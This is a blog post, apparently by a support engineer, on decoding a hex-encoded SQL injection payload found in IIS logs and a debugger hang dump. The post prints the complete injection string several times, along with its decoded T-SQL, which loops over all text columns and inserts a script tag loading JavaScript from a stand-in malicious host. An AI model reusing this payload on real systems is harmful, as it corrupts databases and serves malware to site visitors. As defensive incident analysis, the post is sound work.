How to Decipher Strings Originating from SQL Injection Attacks
This blog article was written by Ayax Vargas, a friend and co-worker from my team. Ayax is very skilled in development/debugging and SQL Server. A few days ago I was reading one analysis done by Ayax and I was impressed by how he translated what looked like an encrypted message to SQL commands! Actually I was so impressed that I asked him to write a blog article about it and share it with my readers. J
I hope to create a script for automating this technique as soon as possible, so you won’t need to worry about memorizing the commands, including the SQL command.
Readers, this is cool stuff and I hope you enjoy it!
Ayax, thank you for sharing your technique, dude. J
It would appear that lately many public facing websites have received tons of extra traffic that doesn’t appear to be legitimate. In some of the cases, this results in the databases being corrupted with scripts pointing to malicious sites. So how do we tell if those attacks are coming in and how do we “decrypt” those binary strings that accompany the attacker’s requests?
In a case worked recently, the strings could be obtained from two locations: the IIS logs, and depending on the information at hand, we could get that from a hang dump.
INSPECTING THE IIS LOGS
First, we’ll see patterns where the suspicious requests are mixed in with legitimate ones. For simplification purposes, I have a malicious request following a legitimate request.
#Software: Microsoft Internet Information Services 6.0
#Version: 1.0
#Date: 2008-04-17 05:00:48
#Fields: date time s-sitename s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-bytes time-taken
2008-04-17 05:00:50 W3SVC1 192.168.1.01 POST /mypage.asmx param1=myparam - 80 - 192.168.1.100 Mozilla/4.0+(compatible;+MSIE+6.0;+MS+Web+Services+Client+Protocol+2.0.50727.1433) - 200 699 15
2008-08-01 05:00:00 W3SVC1 192.168.1.01 POST /mypage.aspx param1=myparam¶m2=123';DECLARE%20@S%20CHAR(4000);SET%
20@S=CAST(0x4445434C415245204054207661726368617228323535292
C40432076617263686172283430303029204445434C415245205461626C6
55F437572736F7220435552534F5220464F522073656C65637420612E6E61
6D652C622E6E616D652066726F6D207379736F626A6563747320612C7379
73636F6C756D6E73206220776865726520612E69643D622E696420616E642
0612E78747970653D27752720616E642028622E78747970653D3939206F722
0622E78747970653D3335206F7220622E78747970653D323331206F7220622
E78747970653D31363729204F50454E205461626C655F437572736F7220464
5544348204E4558542046524F4D20205461626C655F437572736F7220494E54
4F2040542C4043205748494C4528404046455443485F5354415455533D30292
0424547494E20657865632827757064617465205B272B40542B275D20736574
205B272B40432B275D3D2727223E3C2F7469746C653E3C73637269707420737
2633D22687474703A2F2F736F6D656D616C6963696F7573736974652F637372
73732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B27272B4043
2B275D20776865726520272B40432B27206E6F74206C696B6520272725223E
3C2F7469746C653E3C736372697074207372633D22687474703A2F2F736F6D
656D616C6963696F7573736974652F63737273732F772E6A73223E3C2F7363
726970743E3C212D2D272727294645544348204E4558542046524F4D202054
61626C655F437572736F7220494E544F2040542C404320454E4420434C4F534
5205461626C655F437572736F72204445414C4C4F43415445205461626C655F
437572736F72%20AS%20CHAR(4000));EXEC(@S); - 80 - 192.168.1.100 Mozilla/4.0+(compatible;+MSIE+6.0;+MS+Web+Services+Client+Protocol+2.0.50727.1433) - 200 1658 2484
In this particular case, we see the first request to mypage.aspx followed by another request that is appending a parameter with the large hex number that looks like an encrypted or garbled message.
ANALYZING THE HANG DUMP
We also saw something similar analyzing a hang dump when the performance of the site was being diagnosed. In this case we started by looking at the System.Web.HttpRequest objects.
0:000> !dumpheap -type System.Web.HttpRequest
------------------------------
Heap 0
Address MT Size
0279bdc8 663aa0a0 172
02ab1530 663aa0a0 172
...
083eedf0 663aa0a0 172
083f5650 663aa0a0 172
08443e98 663aa0a0 172
084466e0 663aa0a0 172
------------------------------
total 75 objects
Statistics:
MT Count TotalSize Class Name
663aa0a0 75 30100 System.Web.HttpRequest
Total 75 objects
Then we take any of those objects and inspect it.
0:000> !do 084466e0
Name: System.Web.HttpRequest
MethodTable: 663aa0a0
EEClass: 663aa030
Size: 172(0xac) bytes
(C:\WINDOWS\assembly\GAC_32\System.Web\2.0.0.0__b03f5f7f11d50a3a\System.Web.dll)
Fields:
MT Field Offset Type VT Attr Value Name
663add1c 400106d 4 ...HttpWorkerRequest 0 instance 08445a64 _wr
663a9dac 400106e 8 ...m.Web.HttpContext 0 instance 08446624 _context
790fd8c4 400106f c System.String 0 instance 08445c64 _httpMethod
663e471c 4001070 98 System.Int32 1 instance 5 _httpVerb
790fd8c4 4001071 10 System.String 0 instance 00000000 _requestType
6639b220 4001072 14 ...m.Web.VirtualPath 0 instance 08447a70 _path
790fd8c4 4001073 18 System.String 0 instance 00000000 _rewrittenUrl
7910be50 4001074 a0 System.Boolean 1 instance 0 _computePathInfo
6639b220 4001075 1c ...m.Web.VirtualPath 0 instance 08446864 _filePath
6639b220 4001076 20 ...m.Web.VirtualPath 0 instance 00000000 _currentExecutionFilePath
6639b220 4001077 24 ...m.Web.VirtualPath 0 instance 00000000 _pathInfo
790fd8c4 4001078 28 System.String 0 instance 084479ec _queryStringText
7910be50 4001079 a1 System.Boolean 1 instance 0 _queryStringOverriden
7912dae8 400107a 2c System.Byte[] 0 instance 084479a8 _queryStringBytes
790fd8c4 400107b 30 System.String 0 instance 08445cdc _pathTranslated
790fd8c4 400107c 34 System.String 0 instance 08446d5c _contentType
79102290 400107d 9c System.Int32 1 instance 39680 _contentLength
790fd8c4 400107e 38 System.String 0 instance 00000000 _clientTarget
7912d8f8 400107f 3c System.Object[] 0 instance 00000000 _acceptTypes
7912d8f8 4001080 40 System.Object[] 0 instance 00000000 _userLanguages
663b2f48 4001081 44 ...owserCapabilities 0 instance 02784fac _browsercaps
7a757bf0 4001082 48 System.Uri 0 instance 08447a84 _url
7a757bf0 4001083 4c System.Uri 0 instance 08447bd8 _referrer
663e1a30 4001084 50 ...b.HttpInputStream 0 instance 00000000 _inputStream
663e8be0 4001085 54 ...ClientCertificate 0 instance 00000000 _clientCertificate
...
It’s going to have a few more properties, but let’s focus on the _url member, which is of type System.Uri:
0:000> !do 08447a84
Name: System.Uri
MethodTable: 7a757bf0
EEClass: 7a757a3c
Size: 40(0x28) bytes
(C:\WINDOWS\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.dll)
Fields:
MT Field Offset Type VT Attr Value Name
790fd8c4 4001b51 c System.String 0 instance 08447aac m_String
790fd8c4 4001b52 10 System.String 0 instance 00000000 m_originalUnicodeString
7a757f34 4001b53 14 System.UriParser 0 instance 0260ba3c m_Syntax
...
Likewise, we ignore the rest of the properties and we get the m_String:
0:000> !do 08447aac
Name: System.String
MethodTable: 790fd8c4
EEClass: 790fd824
Size: 254(0xfe) bytes
(C:\WINDOWS\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.dll)
String: /mypage.aspx param1=myparam¶m2=123';DECLARE%20@S%20CHAR(4000);SET%
20@S=CAST(0x4445434C415245204054207661726368617228323535292
C40432076617263686172283430303029204445434C415245205461626C6
55F437572736F7220435552534F5220464F522073656C65637420612E6E61
6D652C622E6E616D652066726F6D207379736F626A6563747320612C7379
73636F6C756D6E73206220776865726520612E69643D622E696420616E64
20612E78747970653D27752720616E642028622E78747970653D3939206F
7220622E78747970653D3335206F7220622E78747970653D323331206F72
20622E78747970653D31363729204F50454E205461626C655F437572736F7
2204645544348204E4558542046524F4D20205461626C655F437572736F72
20494E544F2040542C4043205748494C4528404046455443485F535441545
5533D302920424547494E20657865632827757064617465205B272B40542B
275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C73
6372697074207372633D22687474703A2F2F736F6D656D616C6963696F757
3736974652F63737273732F772E6A73223E3C2F7363726970743E3C212D2D2
7272B5B27272B40432B275D20776865726520272B40432B27206E6F74206C
696B6520272725223E3C2F7469746C653E3C736372697074207372633D226
87474703A2F2F736F6D656D616C6963696F7573736974652F63737273732F7
72E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4
558542046524F4D20205461626C655F437572736F7220494E544F2040542C
404320454E4420434C4F5345205461626C655F437572736F72204445414C4
C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));
EXEC(@S);
We could get the strings either way. Obviously the process of inspecting the numerous objects could get tedious without a helper script or an extension that could extract the relevant properties to us. If your application is running .Net 1.1, you can use the !aspxpages command from the SOS extension, but this is not implemented in 2.0.
In our case we were trying to look for threads doing any work at a given point in time and that’s how we ran into these mysterious strings.
TRANSLATING THE BINARY DATA
So now that we have the string, how do we go about seeing its real contents?
What I did is to first replace the URL encoding to get an actual statement I could consume. I started with this:
/mypage.aspx param1=myparam¶m2=123';DECLARE%20@S%20CHAR(4000);SET%
20@S=CAST(0x4445434C415245204054207661726368617228323535292
C40432076617263686172283430303029204445434C415245205461626C6
55F437572736F7220435552534F5220464F522073656C65637420612E6E61
6D652C622E6E616D652066726F6D207379736F626A6563747320612C7379
73636F6C756D6E73206220776865726520612E69643D622E696420616E64
20612E78747970653D27752720616E642028622E78747970653D3939206F
7220622E78747970653D3335206F7220622E78747970653D323331206F72
20622E78747970653D31363729204F50454E205461626C655F437572736F7
2204645544348204E4558542046524F4D20205461626C655F437572736F72
20494E544F2040542C4043205748494C4528404046455443485F535441545
5533D302920424547494E20657865632827757064617465205B272B40542B
275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C73
6372697074207372633D22687474703A2F2F736F6D656D616C6963696F757
3736974652F63737273732F772E6A73223E3C2F7363726970743E3C212D2D2
7272B5B27272B40432B275D20776865726520272B40432B27206E6F74206C
696B6520272725223E3C2F7469746C653E3C736372697074207372633D226
87474703A2F2F736F6D656D616C6963696F7573736974652F63737273732F7
72E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4
558542046524F4D20205461626C655F437572736F7220494E544F2040542C
404320454E4420434C4F5345205461626C655F437572736F72204445414C4
C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));
EXEC(@S);
And ended up with this:
DECLARE @S CHAR(4000);
SET @S=CAST(0x4445434C415245204054207661726368617228323535292
C40432076617263686172283430303029204445434C415245205461626C65
5F437572736F7220435552534F5220464F522073656C65637420612E6E616
D652C622E6E616D652066726F6D207379736F626A6563747320612C73797
3636F6C756D6E73206220776865726520612E69643D622E696420616E642
0612E78747970653D27752720616E642028622E78747970653D3939206F7
220622E78747970653D3335206F7220622E78747970653D323331206F722
0622E78747970653D31363729204F50454E205461626C655F437572736F7
2204645544348204E4558542046524F4D20205461626C655F437572736F7
220494E544F2040542C4043205748494C4528404046455443485F5354415
455533D302920424547494E20657865632827757064617465205B272B405
42B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3
C736372697074207372633D22687474703A2F2F736F6D656D616C6963696F
7573736974652F63737273732F772E6A73223E3C2F7363726970743E3C212D
2D27272B5B27272B40432B275D20776865726520272B40432B27206E6F742
06C696B6520272725223E3C2F7469746C653E3C736372697074207372633D
22687474703A2F2F736F6D656D616C6963696F7573736974652F637372737
32F772E6A73223E3C2F7363726970743E3C212D2D27272729464554434820
4E4558542046524F4D20205461626C655F437572736F7220494E544F204054
2C404320454E4420434C4F5345205461626C655F437572736F72204445414C
4C4F43415445205461626C655F437572736F72 AS CHAR(4000));
PRINT @S;
Note that at the end, I changed the EXEC to PRINT, so I don’t actually run the statement that could potentially harm my system. So now, I take this batch and run it in a local instance of SQL Server and this is what I see:
DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=''"></title><script src="https://somemalicioussite/csrss/w.js"></script><!--''+[''+@C+'] where '+@C+' not like ''%"></title><script src="https://somemalicioussite/csrss/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
The statement is allocating a cursor to go over my tables and replace legitimate data with HTML markup that is running a script from an overseas site, such as script src="https://somemalicioussite/csrss/w.js"
There are plentiful articles that discuss how to avoid SQL injection attacks, the main preventive measure being to avoid concatenating strings and always using the ADO.Net (or ADO if it’s a legacy application) Command and Parameter objects. In the case at hand, the attack was unsuccessful because the application was populating the Parameters collection of the Command object and validating user input at the web service level. Other sites haven’t been as robust and the data actually got into their databases, even causing their sites to be marked as suspect by search engines.